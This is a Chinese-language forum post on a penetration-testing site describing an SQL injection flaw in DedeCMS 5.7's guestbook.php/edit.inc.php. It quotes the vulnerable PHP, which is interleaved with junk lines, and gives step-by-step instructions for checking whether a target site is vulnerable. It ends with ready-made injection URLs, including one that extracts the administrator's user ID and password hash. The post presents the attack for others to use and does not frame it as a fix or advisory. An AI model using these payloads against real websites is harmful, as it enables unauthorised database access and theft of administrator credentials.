中国网络渗透测试联盟
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
[打印本页]
作者:
admin
时间:
2012-11-13 13:24
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7
! G: d5 o6 f3 d1 a0 O/ p
& @; M. ^- r& t) h
漏洞文件edit.inc.php具体代码:
& T% a: P" y6 K# B
9 ?# W1 C; F- f
< ?php
F* ?4 z0 X6 P6 w5 e
! ~8 Y# v4 j2 H' h# Z- `1 r4 z
if(!defined('DEDEINC')) exit('Request Error!');
! [ I) L: c. i Q$ a, ^
" ?, u4 d2 s) W0 _: } r8 w& Y
: j4 k3 m' M7 q$ m8 j
8 k* O. L- o/ [ X
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
, e; D- O" w! e/ Z
3 o, ?) r& G, c2 ~/ q1 F& Y' |! `
else $GUEST_BOOK_POS = "guestbook.php";
) c3 K3 N8 P( V5 u6 [ E
0 Q% I% D: Y& D! I
$ P* o! a r2 I. U
; z$ |% _+ j, a: I# g- y
$id = intval($id);
! L; B8 O1 [$ P
1 C0 i, W3 Z* A! c" {
if(empty($job)) $job='view';
4 d- t6 b+ B z3 w- t8 ]) e2 {
6 `; w- s" ^+ X. k5 s) N7 k- X; q) f
# |; S6 V! ~4 N# c! g% w
, n# l- H: l0 x) z1 i# ?, G
if($job=='del' && $g_isadmin)
- }8 O* ~0 |( S- O
: W$ a( k2 f% h
{
- b" \- I( e3 |4 @" c3 `* ~# a
: \( W& R- l$ X/ t1 Z' ]/ W
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
% k m9 ?9 O1 \. r4 K& t
: u5 F& j5 [3 b3 {8 M
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
! a% g6 j4 H) [% U4 v0 G# I
6 k) Y! P. G0 v2 E) x2 ? A' E
exit();
5 O" }& A! [/ R
2 Q, [8 I/ a6 b! |+ G
}
% Z2 S& G0 Z0 ^: W! v0 P( @
' E8 n! N' q+ A) m& n+ F5 u
else if($job=='check' && $g_isadmin)
) K4 \% t( ~6 ]/ Z
3 L8 ^6 E+ T1 j2 H) I
{
# {7 X' n$ \/ r+ ?
# r# U: h; @/ m0 U% `7 j' S
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
% k( X4 w R' r+ D. f4 F( R' D
9 }9 B! P8 q" e
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
, `5 V* N' f( B: X, n
8 ^* G1 e4 m" g, `+ D8 K0 V' E
exit();
7 F- |; r# n2 ?" h1 d) Y" k% n
$ l4 e, A# Y& ]4 f0 R
}
9 q, H+ U) _' ~* O/ ?/ @% b1 n7 R
( ^ a0 S D) W3 N9 n
else if($job=='editok')
/ L3 s8 k, P) r, l& {; N9 d2 n& R
% ?; T7 n. H3 _2 n1 y. h
{
% H6 w- z- v1 y$ t2 A' e
. L# o) u- N& ]/ m+ U( O: j$ |
$remsg = trim($remsg);
6 y6 M+ f, \# R8 _3 J6 Q" c$ R
3 `) N9 x7 m$ p2 k( @' y8 a$ b& R
if($remsg!='')
3 _$ B% a! {3 q7 o, Z6 j
4 [8 R5 ]3 O- d! k$ t9 U; y
{
# e: D+ o. F6 N; F# R; Z
3 |/ ^& T$ R! N6 c/ p9 r0 X
//管理员回复不过滤HTML By:Errorera blog:errs.cc
/ P7 U) Q& {6 z
* s0 X! l" h. X
if($g_isadmin)
8 E+ i9 r4 U$ K7 U
3 Y" L) q. E# ]$ G( M
{
& C5 Z9 m8 j7 B* U; J. ~' z' o
7 j* @ w5 [) @/ j$ y
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
3 `2 b8 L% L& W3 a
8 V* _: l4 v5 j! p& x
//$remsg <br /><font color=red>管理员回复:</font> }
0 G1 G# g8 b$ {2 r% U
. f4 M7 P5 z& ?' U: ~ u
else
; z+ o: v# k+ o/ X B3 O
5 h$ Y9 R) K! [
{
" O' ]' n, q$ |
" H6 S) H2 o/ ?4 X) x: i
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
! U" I# H# R9 T3 m
" d# P9 q# z4 r! Q8 a
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
* a: i! [; n9 [
+ c. P$ Q- x! v
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
2 W6 D3 I/ f7 S% c+ p
- G" K! Q- Q3 m
$msg = $oldmsg.$remsg;
+ z7 A' x' }- t t* c6 m- e
" i/ l. U6 E" G$ H ?
}
7 K8 c& H7 F: ]* _( y( t' L+ g
+ n" Y. E( u: D f; l
}
L! H+ H V+ U
?& R: c! w' ~- Y' x! k, R( l9 W4 P
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:
www.errs.cc
# q2 n( {. W: \. r
, V6 H; t2 w. w, ~6 c
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
2 T8 [, i( S. F: S9 z9 U6 s8 H& b
* x; Y+ w7 E6 ^
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
! U4 ]& F8 [6 ^7 g7 Z. ~
r; J; V4 P* O X& B0 {! Y) R* `
exit();
" E5 W/ W+ E5 J- e: ]3 X2 v
% F6 a4 F: U" _! l6 K
}
2 t. X' w, R9 J8 M7 H
O( d8 S {; \" g4 V+ o
//home:
www.errs.cc
3 N) {0 H# u1 j7 B" e1 }
9 @7 j" i+ j; C. |3 s; l0 q
if($g_isadmin)
. f% J4 H, |' e( g" V: ]
0 q% q$ p7 y& e7 x# k8 r; h
{
! }* t3 O$ {8 h
- M- t X1 e$ Q
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
7 V6 p7 [4 U, q) g0 X i7 a
4 ^# h' j6 Y5 C7 a9 x3 n6 e
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
8 B0 P7 [7 {" c9 V; K# b! o/ p
E0 o4 Y+ P6 T4 H! K
}
2 ]: a& G! m8 o0 J* w; q% j
2 ^) o {5 L. V
else
$ a; C$ l: X- l$ S/ ?8 W1 H
. [" L5 [6 z) O
{
7 p6 G; [7 T+ V' S1 d( S3 R- ?
3 F$ [2 B* Y1 w% l& |$ ^# F
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
1 u; x4 e' s2 p. s3 }, X
* m' h/ v; E, r. k1 @7 o
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
' N. \) b$ t. \( v" ~% b& g
0 H' V u* H* `0 J. Z) ~+ g# T
} 漏洞成功需要条件:
7 W& g9 m# N# Y5 P: R* q" J
1. php magic_quotes_gpc=off
' m- y1 v0 u8 T. [
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
: E( g3 L, y; H5 R
5 ~- ^2 d U$ c& F* p/ J
怎么判断是否存在漏洞:
4 f& U. }) x& M! j2 b
先打开
www.xxx.com/plus/guestbook.php
可以看到别人的留言,
6 y# b7 R; v" ]9 _* }& y. A# ~
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
) m* f& t% m/ r- v! g0 X
访问:
( E2 |% [0 A4 \7 o5 r" K
7 Q( v5 R4 h% c6 p9 d: @' w
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc
存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
+ {+ y2 D p5 T* i
跳回到
www.xxx.com/plus/guestbook.php
看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
" T7 j' h n6 ]. f. Q
; V& X5 ~7 N! O( ~! d' j5 [4 c2 s9 ?
# M# w$ d" }7 p! c
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
. ~0 m: r' v5 I# R
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
3 G* X" P1 P8 h4 Y
那么再次访问
8 O; m$ l) [) k, o. m+ a
* j) d" c% \; D& i
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=
存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
; E+ l, X) J2 \% L, O
% Y3 S2 O# \% z. d
大概利用就是这样,大家有兴趣的多研究下!!
, e+ p4 s: L2 C# y. _2 w! C! Z2 \
9 N1 t0 Y3 p2 s7 ]0 s
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
& B0 g) q- }& N9 N3 O Q
2 J% K" u" {( X8 y/ U
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2